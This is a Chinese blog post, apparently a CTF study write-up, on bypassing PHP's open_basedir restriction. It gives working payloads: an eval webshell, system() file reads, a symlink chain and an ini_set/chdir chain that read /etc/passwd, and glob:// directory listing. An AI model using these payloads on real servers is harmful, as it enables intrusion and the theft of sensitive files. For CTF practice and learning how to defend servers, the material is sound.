当前位置: 首页 > news >正文

绕过 open_basedir

目录

0x01 首先了解什么是 open_basedir

 0x02 通过命令执行绕过

0x03 通过symlink 绕过 (软连接)

0x04利用glob://绕过

方式1——DirectoryIterator+glob://

方式2——opendir()+readdir()+glob://

0x05  通过 ini_set和chdir来绕过


在ctfshow 72遇到的 open_basedir 所以进行学习

https://www.cnblogs.com/hookjoy/p/12846164.html#:~:text=%E5%8F%AA%E6%98%AF%E7%94%A8glob%3A,%E8%83%BD%E8%AF%BB%E5%8F%96%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9%E3%80%82

 上面是师傅的文章

我就跟着复现一下

0x01 首先了解什么是 open_basedir

open_basedir是php.ini的设置

在open_basedir设置路径的话 那么网站访问的时候 无法访问除了设置以外的内容

 这里还有一个知识点

如果我们设置 open_basedir=/var/www/html那我们只能访问/var/www/html/index.php
/var/www/html/images/logo.png
/var/www/html/includes/config.php不能访问/var/www/otherfile.php(不在指定目录之下)
/var/www/html2/index.php(不是以指定路径为前缀)所以open_basedir并不是以目录名为 规定而是路径

我创建了一个test文件夹 存放着 1.php

 

 那我设置open_basedir 指定 test

open_basedir =D:\phpstudy_pro\WWW\test

那我们看看能不能访问1.php

 发现是ok的

那我们去访问一下 www的 flag.php呢

 发现阻止了 并且我们无法访问其他目录 例如 sqli-labs

 0x02 通过命令执行绕过

open_basedir对命令执行没有限制

假如没有进行过滤 那我们就可以通过system函数直接执行

我的1.php代码是

<?phpif(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}?>

没有过滤 而且通过post方式

c=show_source(__FILE__);system('type D:\phpstudy_pro\WWW\flag.php');

 成功绕过了 open_basedir

这里是适用于 没有对命令进行过滤

但是一般都难以使用 会被disable_functions 禁用

0x03 通过symlink 绕过 (软连接)

软连接我们在 ciscn的unzip有见识到就是linux的快捷方式我们可以通过软连接;链接其他文件 然后对其进行访问 

这里还需要介绍symlink()函数

symlink(链接的目标,链接的名称)

我们来尝试一下

<?php 
symlink("/root/.presage/","/root/桌面/exp");
?>

然后我们执行一下

php 2.php

发现真的生成了一个文件夹exp 并且就是指向了我们需要的目录

 这里我们开始复现师傅的内容

mkdir 
创建文件夹chdir
切换到某文件夹的工作区间

 

 假如我们在/var/www/html/的3.php处

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
?>

执行

发现现在的路径变为了/var/www/html/A/B/C/D/

这个时候 我们已经进入了 D目录

我们需要退回 html界面就通过 ..即可

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
?>

这个时候 就处于 var/www/html目录下

然后我们通过软连接链接 abcd

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7abc");
?>

 这个时候 我们再建立

symlink("7abc/../../../../etc/passwd","exp");

的链接

但是这个我们是无法建立的 因为不存在这种软连接

但是我们只需要 删除 7abc的软连接 然后创建一个 7abc的文件夹

那么这样 就是

目录的7abc/../../../etc/passwd

这样就不会访问快捷方式的 而是当前目录的 然后访问exp

 发现就是passwd里的内容了

 这样我们就打破了 open_basedir的限制 访问了其他目录的内容

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7abc");
symlink("7abc/../../../../etc/passwd","exp");
unlink("7abc");
mkdir("7abc");
?>

这里payload的重点就是

我们想要跨越多少层就需要建立多少层的 目录然后通过软连接删除 生成文件夹 然后就可以通过当前文件夹 链接到该去的地方

0x04利用glob://绕过

照常 首先看看什么是 glob://协议

glob://协议 就是查找文件路径的模式是从 5.3开始使用的协议

利用师傅的 内容进行修改

<?php
$it = new DirectoryIterator("glob:///var/www/html/*.php");
foreach($it as $f) {printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
%s:字符串
%.1F 一位小数
%K 单位}
?>

打印一下 var/www/html的内容

发现生效了

 但是如果只是单用 glob://无法绕过的

所以我们需要结合其他函数

方式1——DirectoryIterator+glob://

DirectoryIterator
就是一个接口 用户可以简单轻松的查看目录
<?php
$c=$_GET[c];
$a=new DirectoryIterator($c);
foreach($a as $f){echo($f->__toString().'<br>');
}
?>

然后我们输入 glob:///* 就可以列出根目录

但是 使用这个方法只能访问根目录和open_basedir受限的目录

所以对于 ctfshow web72 也可以使用这个方法访问根目录

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().'<br>');
}exit();
?>

 得到了flag的地址

回到这里

那我们就应该使用另一个方法

方式2——opendir()+readdir()+glob://

opendir()打开目录句柄readdir() 读取目录
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {while ( ($file = readdir($b)) !== false ) {echo $file."<br>";}closedir($b);
}
?>

这里对于web72也可以使用

c=?><?php if ( $b = opendir("glob:///*") ) {while ( ($file = readdir($b)) !== false ) { echo $file."<br>";}closedir($b);}exit();

 

 效果和 DirectoryIterator一样

只能根目录和限定目录

0x05  通过 ini_set和chdir来绕过

<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>

通过相对路径

mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');

首先我们创建一个可以上下跳的目录

/var/www/html创建 mi1k7ea /var/www/html/mi1k7ea切换到当前目录 通过 chdir然后ini_set 设置 open_basedir为 ..那么这个时候 php.ini里的内容就为 ..
那我们进行切换工作目录chdir .. 返回上一个目录 即/var/www/html通过 open_basedir的比对 符合.. 那么就可以访问我们再来一次/var/www/var/
最后到/ 了 但是我们无法通过 / 去访问 因为 / != ..这个时候 我们再来一次 ini_set  设置为 / 这个时候 我们就可以访问 / 下的任何内容了
这里有一个需要注意如果我们的php文件在根目录即/var/www/html/那么就需要创建一个 目录来进行设置
即mkdir("123");chdir("123");ini_set("open_basedir","..");如果我们不在根目录 
即/var/www/html/test/并且open_basedir为 /var/www/html/那么我们就不需要再创建一个目录来设置直接在test上操作即可即 ini_set("open_basedir","..");chdir("..");

到此 差不多就结束了

相关文章:

绕过 open_basedir

目录 0x01 首先了解什么是 open_basedir 0x02 通过命令执行绕过 0x03 通过symlink 绕过 &#xff08;软连接&#xff09; 0x04利用glob://绕过 方式1——DirectoryIteratorglob:// 方式2——opendir()readdir()glob:// 0x05 通过 ini_set和chdir来绕过 在ctfshow 72遇到…...

如何使用SpringBoot 自定义转换器

&#x1f600;前言 本篇博文是关于SpringBoot 自定义转换器的使用&#xff0c;希望你能够喜欢&#x1f60a; &#x1f3e0;个人主页&#xff1a;晨犀主页 &#x1f9d1;个人简介&#xff1a;大家好&#xff0c;我是晨犀&#xff0c;希望我的文章可以帮助到大家&#xff0c;您的…...

多线程(进阶)

一、常见的锁策略 1.1读写锁 多线程之间&#xff0c;数据的读取方之间不会产生线程安全问题&#xff0c;但数据的写入方互相之间以及和读者之间都需 要进行互斥。如果两种场景下都用同一个锁&#xff0c;就会产生极大的性能损耗。所以读写锁因此而产生。 读写锁&#xff08;r…...

端口输入的数据为什么要打拍?

一次作者在开发图像时候&#xff0c;对输入的图像没有打拍&#xff0c;直接输出给显示终端&#xff0c;时好时坏&#xff0c;或者图像颜色不正确&#xff0c;最终经过打拍解决了此问题。 //配置为16-Bit SDR ITU-R BT.656模式时pixel_data[23:16]为高阻。always (posedge pixe…...

Qt读写Excel--QXlsx编译为静态库2

1、概述&#x1f954; 在使用QXlsx时由于源码文件比较多&#xff0c;如果直接加载进项目里面&#xff0c;会增加每次编译的时间&#xff1b; 直接将源码加载进项目工程中&#xff0c;会导致项目文件非常多&#xff0c;结构变得更加臃肿&#xff1b; 所以在本文中将会将QXlsx编译…...

win11电脑查找已连接打印机ip的方法

此方法适用于驱动打印机&#xff0c;windows 11操作系统。 方法一&#xff1a;直接查看法 首先大家可以看看自己的打印机有没有lcd屏幕。有些直接在屏幕显示ip&#xff1b;另一种进入菜单&#xff0c;然后可以在里面的选项中显示“ip地址”。 方法二&#xff1a;设置中查看 …...

测试开发探索:“WeTalk“网页聊天室的测试流程与自动化

目录 引言&#xff1a; 测试开发目标&#xff1a; "WeTalk"项目背景 关于登录测试用例的设计 测试开发策略与流程 集成测试&#xff1a;Selenium JUnit 接口测试&#xff1a;Postman 测试用例的设计与实现 自动化测试演示&#xff1a; 用例一&#xff1a;登…...

图片增强组件实现

设计并实现了一个图片增强的组件&#xff0c;具体功能如下&#xff1a; 图片数据增强&#xff0c;包括且不限于&#xff1a;图片旋转、比例增强、高斯噪声、饱和度变换等若图片包含对应标注boundingbox&#xff0c;也支持对应变换&#xff0c;保证圈选内容的不变性实现多种方式…...

go.sum are different when using go mod vendor/download

本地Golang配置 今天本地编译一个项目&#xff0c;遇到以下错误 PS D:\Code\Golang\jiankunking\k8s-ext> go mod tidy go: downloading github.com/huaweicloud/huaweicloud-sdk-go-obs v3.23.4incompatible verifying github.com/gin-gonic/ginv1.7.3: checksum mismat…...

Docker技术入门教程

Docker技术入门教程 一、docker概念 一款产品从开发到上线&#xff0c;从操作系统&#xff0c;到运行环境&#xff0c;再到应用配置。作为开发运维之间的协作我们需要关心很多东西&#xff0c;这也是很多互联网公司都不得不面对的问题&#xff0c;特别是各种版本的迭代之后&a…...

Vue2-组件,组件的使用及注意点,组件嵌套,VueComponent构造函数,单文件组件

&#x1f954;&#xff1a;功不唐捐 更多Vue知识请点击——Vue.js VUE-Day5 组件与使用组件的三大步1、定义组件(创建组件)2、注册组件①局部注册②全局注册 3、使用组件小案例&#xff1a; 使用组件的一些注意点1.关于组件名2.关于组件标签3.一个简写方式 组件的嵌套VueCompon…...

IntelliJ IDEA Bookmark使用

1 增加 右键行号栏 2 查看 从favorite这里查看 参考IntelliJ IDEA 小技巧&#xff1a;Bookmark(书签)的使用_bookmark idea 使用_大唐冠军侯的博客-CSDN博客...

kriging-contour前端克里金插值

先看效果&#xff1a; 本项目在kriging-contour插件基础上进行了封装&#xff0c;增加了自定义区域插值&#xff0c;gitbub地址。...

第八章 CUDA内存应用与性能优化篇(中篇)

cuda教程目录 第一章 指针篇 第二章 CUDA原理篇 第三章 CUDA编译器环境配置篇 第四章 kernel函数基础篇 第五章 kernel索引(index)篇 第六章 kenel矩阵计算实战篇 第七章 kenel实战强化篇 第八章 CUDA内存应用与性能优化篇 第九章 CUDA原子(atomic)实战篇 第十章 CUDA流(strea…...

适用于物联网 (IoT)的远距离、低功耗、低速率WiFi—Wi-Fi HaLow

1. Wi-Fi 简介 Wi-Fi&#xff08;Wireless Fidelity&#xff09;是目前较为常见的无线通信方式&#xff0c;承载着一半以上的互联网流量。Wi-Fi是一个总称&#xff0c;涵盖了802.11通信协议系列&#xff0c;由Wi-Fi联盟持有并推动其发展。802.11通信协议发展至今已逾二十年&am…...

【解读Spikingjelly】使用单层全连接SNN识别MNIST

原文档&#xff1a;使用单层全连接SNN识别MNIST — spikingjelly alpha 文档 代码地址&#xff1a;完整的代码位于activation_based.examples.lif_fc_mnist.py GitHub - fangwei123456/spikingjelly: SpikingJelly is an open-source deep learning framework for Spiking Neur…...

穿越数字奇境:探寻元宇宙中的科技奇迹

随着科技的迅速发展&#xff0c;元宇宙正逐渐成为一个备受关注的话题&#xff0c;它不仅是虚拟现实的延伸&#xff0c;更是将现实世界与数字世界融合的未来典范。在这个神秘而充满活力的数字奇境中&#xff0c;涉及了众多领域和技术&#xff0c;为我们呈现出了一个无限的创新和…...

2024」预备研究生mem-阴影图形

一、阴影图形 二、课后题...

【设计模式】责任链模式

顾名思义&#xff0c;责任链模式&#xff08;Chain of Responsibility Pattern&#xff09;为请求创建了一个接收者对象的链。这种模式给予请求的类型&#xff0c;对请求的发送者和接收者进行解耦。这种类型的设计模式属于行为型模式。 在这种模式中&#xff0c;通常每个接收者…...

解密人工智能:线性回归 | 逻辑回归 | SVM

文章目录 1、机器学习算法简介1.1 机器学习算法包含的两个步骤1.2 机器学习算法的分类 2、线性回归算法2.1 线性回归的假设是什么&#xff1f;2.2 如何确定线性回归模型的拟合优度&#xff1f;2.3 如何处理线性回归中的异常值&#xff1f; 3、逻辑回归算法3.1 什么是逻辑函数?…...

智能在线客服平台:数字化时代企业连接用户的 AI 中枢

随着互联网技术的飞速发展&#xff0c;消费者期望能够随时随地与企业进行交流。在线客服平台作为连接企业与客户的重要桥梁&#xff0c;不仅优化了客户体验&#xff0c;还提升了企业的服务效率和市场竞争力。本文将探讨在线客服平台的重要性、技术进展、实际应用&#xff0c;并…...

初学 pytest 记录

安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...

Redis的发布订阅模式与专业的 MQ(如 Kafka, RabbitMQ)相比,优缺点是什么?适用于哪些场景?

Redis 的发布订阅&#xff08;Pub/Sub&#xff09;模式与专业的 MQ&#xff08;Message Queue&#xff09;如 Kafka、RabbitMQ 进行比较&#xff0c;核心的权衡点在于&#xff1a;简单与速度 vs. 可靠与功能。 下面我们详细展开对比。 Redis Pub/Sub 的核心特点 它是一个发后…...

C#学习第29天:表达式树(Expression Trees)

目录 什么是表达式树&#xff1f; 核心概念 1.表达式树的构建 2. 表达式树与Lambda表达式 3.解析和访问表达式树 4.动态条件查询 表达式树的优势 1.动态构建查询 2.LINQ 提供程序支持&#xff1a; 3.性能优化 4.元数据处理 5.代码转换和重写 适用场景 代码复杂性…...

Pydantic + Function Calling的结合

1、Pydantic Pydantic 是一个 Python 库&#xff0c;用于数据验证和设置管理&#xff0c;通过 Python 类型注解强制执行数据类型。它广泛用于 API 开发&#xff08;如 FastAPI&#xff09;、配置管理和数据解析&#xff0c;核心功能包括&#xff1a; 数据验证&#xff1a;通过…...

图解JavaScript原型:原型链及其分析 | JavaScript图解

​​ 忽略该图的细节&#xff08;如内存地址值没有用二进制&#xff09; 以下是对该图进一步的理解和总结 1. JS 对象概念的辨析 对象是什么&#xff1a;保存在堆中一块区域&#xff0c;同时在栈中有一块区域保存其在堆中的地址&#xff08;也就是我们通常说的该变量指向谁&…...

负载均衡器》》LVS、Nginx、HAproxy 区别

虚拟主机 先4&#xff0c;后7...

Java并发编程实战 Day 11:并发设计模式

【Java并发编程实战 Day 11】并发设计模式 开篇 这是"Java并发编程实战"系列的第11天&#xff0c;今天我们聚焦于并发设计模式。并发设计模式是解决多线程环境下常见问题的经典解决方案&#xff0c;它们不仅提供了优雅的设计思路&#xff0c;还能显著提升系统的性能…...

数据分析六部曲?

引言 上一章我们说到了数据分析六部曲&#xff0c;何谓六部曲呢&#xff1f; 其实啊&#xff0c;数据分析没那么难&#xff0c;只要掌握了下面这六个步骤&#xff0c;也就是数据分析六部曲&#xff0c;就算你是个啥都不懂的小白&#xff0c;也能慢慢上手做数据分析啦。 第一…...

CVE-2023-25194源码分析与漏洞复现(Kafka JNDI注入)

漏洞概述 漏洞名称&#xff1a;Apache Kafka Connect JNDI注入导致的远程代码执行漏洞 CVE编号&#xff1a;CVE-2023-25194 CVSS评分&#xff1a;8.8 影响版本&#xff1a;Apache Kafka 2.3.0 - 3.3.2 修复版本&#xff1a;≥ 3.4.0 漏洞类型&#xff1a;反序列化导致的远程代…...